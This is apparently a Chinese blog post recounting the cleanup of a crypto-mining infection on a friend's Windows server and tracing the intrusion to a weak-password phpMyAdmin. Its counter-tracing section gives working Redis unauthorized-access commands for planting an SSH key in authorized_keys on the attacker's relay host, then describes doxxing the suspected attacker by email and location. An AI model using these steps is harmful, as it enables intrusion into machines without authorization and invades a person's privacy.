实战|记一次反制追踪溯本求源 admin 102359文章 87评论 2021年5月26日21:43:37评论138 views字数 3206阅读10分41秒阅读模式 前言 朋友说自己服务器巨卡,里边放了一堆项目资料,环境也集成一大堆,身为他bb,义不容辞,必须给他看看,本来以为挺简单的,给杀杀毒,清理一下文件就ok了,没想到搞了挺久,正好写这篇文章记录一下。 清除病毒 问了问朋友有没有下载啥东西,电脑上有没有什么搭建什么鬼东西,一律回复不知道,让我自己看,当场就想顺着3389过去给他个大嘴巴子。想了想算了,还得自己来,一手任务管理器,一眼看到几个可疑的powershell进程 可以看到PowerShell进程的占用率排在了最前面,不过无法确定PowerShell执行了什么命令,这时候可以使用WMIC查看进程执行时的命令行参数参数释义:Caption 进程名CommandLine 命令行参数ParentProcessId 父进程PIDProcess 进程PID 可以看到PowerShell执行了一段经混淆的代码,一般正常程序都不会这么执行命令,市面很多有很多分析工具,使用火绒剑、ProcExp、ProcessHacker查看命令行参数也是都可以的 直接使用火绒剑结束该进程,之后powershell进程再次出现,那肯定是存在守护进程,刚刚结束的应该是个子进程,此时需要结束进程树才能彻底根除,找到powershell的父进程,结束进程树,防止挖矿程序再次启动 说一下怎么查找相关关联进程,可以使用wmic命令,找到相关进程 找到进程id 3616 找到进程id 3604 找到3500,这样即可找到相关关联进程 这里以火绒剑为例,查看进程,最下面5个PowerShell进程是PID为3652的PowerShell的子进程PID为1972的scvhost.exe是所有挖矿程序的父进程 直接结束进程树 清理工作完成。 审计日志 最重要的是怎么进来的,重点看了看RDP日志,打开安全日志(4624登录成功,4625登录失败),确实发现有登陆成功的日志 随即看了看注册表有没有新建账户,果然有个影子账户 随即删除账户,看了看启动项,就知道 删除启动项 查看计划任务 为了确保该进程与启动项一致,这里算了一下MD5值 certrutil -hashfile file MD5 同样全部删除,总算弄完了,之后在进程中我竟然发现了phpstudy....,没错,桌面没有图标,我就直接忽略了,草率了 反手拿了WebShellKiller对全局文件进行扫描 ???没出来,找了个火绒病毒查杀也是一样的效果 我不太信,怎么可能没后门,直接在www目录下挨个翻文件,翻吐了快,在这里浪费了很久很久时间,终于找到了news.php,不点开看都不知道,免杀做的挺牛逼啊 清除掉后,收获免杀马一枚,随后查看web日志,在apache access.log、error.log两个日志文件中发现访问ip xx.xx.xx.xx - - [14/Dec/2020:14:26:37 +0800] "POST /phpMyAdmin-4.8.1-all-languages/version_check.php HTTP/1.1" 200 28 xx.xx.xx.xx - - [14/Dec/2020:14:26:46 +0800] "POST /phpMyAdmin-4.8.1-all-languages/logout.php HTTP/1.1" 302 8637 xx.xx.xx.xx - - [14/Dec/2020:14:26:51 +0800] "GET /phpMyAdmin-4.8.1-all-languages/index.php HTTP/1.1" 200 3497 phpmyadmin的版本还是4.8.1的 刚开始以为是直接爆破进来的,此时一切都明了,谁会拒绝root/root,反正我不会,用脚趾头都能想到朋友不会设置复杂密码。 反查追踪 确认了入侵点,清理也已经完成,并且拿到了攻击ip,尝试溯源,打开微步 18年就被标记傀儡机,还是一台日本机子,够呛溯源找到攻击者,大概率是肉鸡,此时想到还有挖矿样本,先看看样本吧,把主程序放在沙箱跑一下,还有一个批处理文件,一个windows命令文件,其余的是无用混淆文件 Cmd1.bat安装Networkss恶意服务,自启动start.cmd脚本,并将nat目录下所有文件权限修改为只读的隐藏系统文件。 start.cmd启动挖矿主程序,访问矿池地址 svchost.exe将自定义服务封装为系统服务 Systems.exe挖矿主程序 样本名称systems.exe 样本大小3662336 MD54d8a76f89b0a68a6d5fc5b1b95257ec0 SHA1d25a722636f2c1de313d481733b9c397925675eb SHA256 eb1d6f905efcb27544c43e9107735a2160c3fa7180eff121a701dc6655ae0242 返回头再看看哪个肉鸡,用插件简单看了一下,发现6379开放,随即使用namp详细探测一下 nmap -A -p 6379 script redis-info + ip 直接尝试远程登录一下,居然能直接可以登录。。。 该你被抓鸡,你不当鸡谁当,在确认有未授权漏洞后,尝试利用,redis利用方式有 好几种 1> redis直接写入webshell,但是需要绝对路径,写入权限也要有 2> 写入ssh公钥文件使用私钥登录 3> 写入crontab计划任务反弹shell 4> 主从复制rce 这里使用第二种,因为之前探测发现ssh服务也是开启的 1、首先本地生成公私钥文件 ssh-keygen -t rsa 2、将密钥上传到目标主机redis cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit redis-cli -h xx.xx.xx.xx config set dir /root/.ssh/ config get dir/ 3、保存为authorized_keys config set dbfilename "authorized_keys" save 4、直接使用ssh登录成功 ssh -i id_rsa [email protected] 上去后先netstat看了一下,明晃晃的一个外连ip 定位到相关的pid进程,发现了外连地址,纯ip的 继续查看了有谁登录过这台主机,通过查看/var/log/wtmp日志 last /var/log/wtmp 根据windows被入侵日志时间段筛选了一遍,还真的在这个时间段找到了这个ip地址,用户是root,很大概率这个外连地址就是攻击者的真实服务器了 wangjy ? pts/9 ? ? ? xx.xx.xx.xx ?Thu Dec 17 10:15 ? still logged in ?? wangjy ? pts/8 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:56 ? still logged in ?? wangjy ? pts/7 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:32 - 10:44 ?(01:12) ? ? root ? ? pts/5 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 - 10:20 ?(00:50) ? ? root ? ? pts/4 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 - 10:20 ?(00:50) ? Whois查询了一下ip 成功关联到了qq邮箱,运气真的好 直接搜索添加qq,一个SVIP9大佬,地点精确到某省市区 但是没有手机号,空间动态也看不到,把邮箱扔在reg007查了一遍,什么都没有 至此就收工了,也不知道找的目标人物到底准确不准确,之后就给朋友顺手装了360,火绒也没卸载,让他没事别瞎开服务。 总结 1、首先定位问题原因,确认中了木马 2、对进程,启动项,计划任务,后门,账户全部进行清除 3、通过审计主机、web日志定位入口点 4、反追踪拿到肉鸡权限,发现外连地址 5、溯源定位到具体人(不一定百分百是) 推荐阅读 本文始发于微信公众号(乌雲安全):实战|记一次反制追踪溯本求源 点赞 http://cn-sec.com/archives/274835.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论